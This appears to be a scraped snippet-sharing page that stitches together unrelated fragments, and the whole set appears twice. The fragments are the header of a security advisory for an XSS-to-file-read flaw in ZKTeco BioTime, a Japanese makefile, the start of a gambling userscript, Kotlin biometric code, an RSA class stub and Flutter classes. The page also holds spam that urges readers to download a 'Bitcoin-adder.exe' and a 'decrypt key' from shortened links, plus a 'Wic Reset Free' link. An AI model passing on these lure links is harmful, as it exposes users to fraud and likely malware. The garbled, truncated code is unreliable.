Hassan Najm hnjm

## CVE-2022-38802
Security Advisory

Topic:          Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime

Category:       Zkteco Biotime
Module:         webgui
Announced:      01-09-2022
Credits:        Ahmed Kameran From https://technobase.krd/ -- https://twitter.com/hamoshwani
CVE ID:         CVE-2022-38802
Affects:        BioTime - < 8.5.3  Build:20200816.447

## CVE-2022-38802
Security Advisory

Topic:          Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime

Category:       Zkteco Biotime
Module:         webgui
Announced:      01-09-2022
Credits:        Ahmed Kameran From https://technobase.krd/ -- https://twitter.com/hamoshwani
CVE ID:         CVE-2022-38802
Affects:        BioTime - < 8.5.3  Build:20200816.447

## makefile
usage:
	@echo '-----------------------------------------------------------------------------'
	@echo '以下のどれかのタスクを指定します.'
	@echo '  - install-requirements -- Protocol Buffers を実行するのに必要なものをインストールします.'
	@echo '                              - protoc は プロジェクトディレクトリ直下の bin にインストールされます.'
	@echo '                              - protoc-gen-go は $(go env GOPATH)/bin にインストールされます.'
	@echo '                              - protoc-gen-doc は $(go env GOPATH)/bin にインストールされます.'
	@echo '  - protoc               -- protocを実行します.'
	@echo '                              - protoファイルは protoディレクトリ の下に存在しているとします.'
	@echo '                              - 生成されたgoファイルは internal ディレクトリの下に配置されます.'

## freebitco Multiplay script.js
// ==UserScript==
// @name        Best algorithm to play Multiply odd 1.5 win chance 63% (NOT FOR LOW BALANCE)
// @description Play with higher chance , READ FIRST
// @include     https://freebitco.in/*
// @copyright   2020, makaaymen@gmail.com
// @namespace 	AnarchyHS
// ==/UserScript==


bconfig = {

## onAuthenticationSucceededNoCrypto.kt
override fun onAuthenticationSucceeded(result: BiometricPrompt.AuthenticationResult) {
   super.onAuthenticationSucceeded(result)
   Log.d(TAG, "Authentication was successful")
   showMessage()
}

## createBiometricPrompt.kt
private lateinit var biometricPrompt: BiometricPrompt

override fun onCreate(savedInstanceState: Bundle?) {
   super.onCreate(savedInstanceState)
   setContentView(R.layout.activity_main)
   setSupportActionBar(findViewById(R.id.toolbar))
   // ...
   biometricPrompt = createBiometricPrompt()
}

## RSA.cls
public class RSA {

    private Key key;
    // Hex digits
    private static final String DIGITS = '0123456789abcdef';
    private static final Decimal HEX_BASE = 16;

    public abstract class Key {
        private String modulus;
        public Key(String modulus) {

## dynamic_widget_creation.dart
import 'package:flutter/material.dart';

abstract class Event {}

class TTimeEntryCreated extends Event {}

class TTimeEntryEdited extends Event {}

class TTimeEntryDeleted extends Event {}

## Bitcoin-adder.exe
Go to these links to download the bitcoin adder...
1 Link : http://rapidtory.com/Ac3G
For decrypt key...
2 Link : http://rapidtory.com/AcEm
.
.
.
.
Now download and enjoy....

## anonymous


********************
Wic Reset Free 78 ->>->>->>
********************
http://shurll.com/cz1st
(Copy & Paste link)
********************
	Security Advisory

	Topic: Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime

	Category: Zkteco Biotime
	Module: webgui
	Announced: 01-09-2022
	Credits: Ahmed Kameran From https://technobase.krd/ -- https://twitter.com/hamoshwani
	CVE ID: CVE-2022-38802
	Affects: BioTime - < 8.5.3 Build:20200816.447
	usage:
	@echo '-----------------------------------------------------------------------------'
	@echo '以下のどれかのタスクを指定します.'
	@echo ' - install-requirements -- Protocol Buffers を実行するのに必要なものをインストールします.'
	@echo ' - protoc はプロジェクトディレクトリ直下の bin にインストールされます.'
	@echo ' - protoc-gen-go は $(go env GOPATH)/bin にインストールされます.'
	@echo ' - protoc-gen-doc は $(go env GOPATH)/bin にインストールされます.'
	@echo ' - protoc -- protocを実行します.'
	@echo ' - protoファイルは protoディレクトリの下に存在しているとします.'
	@echo ' - 生成されたgoファイルは internal ディレクトリの下に配置されます.'
	// ==UserScript==
	// @name Best algorithm to play Multiply odd 1.5 win chance 63% (NOT FOR LOW BALANCE)
	// @description Play with higher chance , READ FIRST
	// @include https://freebitco.in/*
	// @copyright 2020, makaaymen@gmail.com
	// @namespace AnarchyHS
	// ==/UserScript==


	bconfig = {
	override fun onAuthenticationSucceeded(result: BiometricPrompt.AuthenticationResult) {
	super.onAuthenticationSucceeded(result)
	Log.d(TAG, "Authentication was successful")
	showMessage()
	}
	private lateinit var biometricPrompt: BiometricPrompt

	override fun onCreate(savedInstanceState: Bundle?) {
	super.onCreate(savedInstanceState)
	setContentView(R.layout.activity_main)
	setSupportActionBar(findViewById(R.id.toolbar))
	// ...
	biometricPrompt = createBiometricPrompt()
	}
	public class RSA {

	private Key key;
	// Hex digits
	private static final String DIGITS = '0123456789abcdef';
	private static final Decimal HEX_BASE = 16;

	public abstract class Key {
	private String modulus;
	public Key(String modulus) {
	import 'package:flutter/material.dart';

	abstract class Event {}

	class TTimeEntryCreated extends Event {}

	class TTimeEntryEdited extends Event {}

	class TTimeEntryDeleted extends Event {}
	Go to these links to download the bitcoin adder...
	1 Link : http://rapidtory.com/Ac3G
	For decrypt key...
	2 Link : http://rapidtory.com/AcEm
	.
	.
	.
	.
	Now download and enjoy....


	********************
	Wic Reset Free 78 ->>->>->>
	********************
	http://shurll.com/cz1st
	(Copy & Paste link)
	********************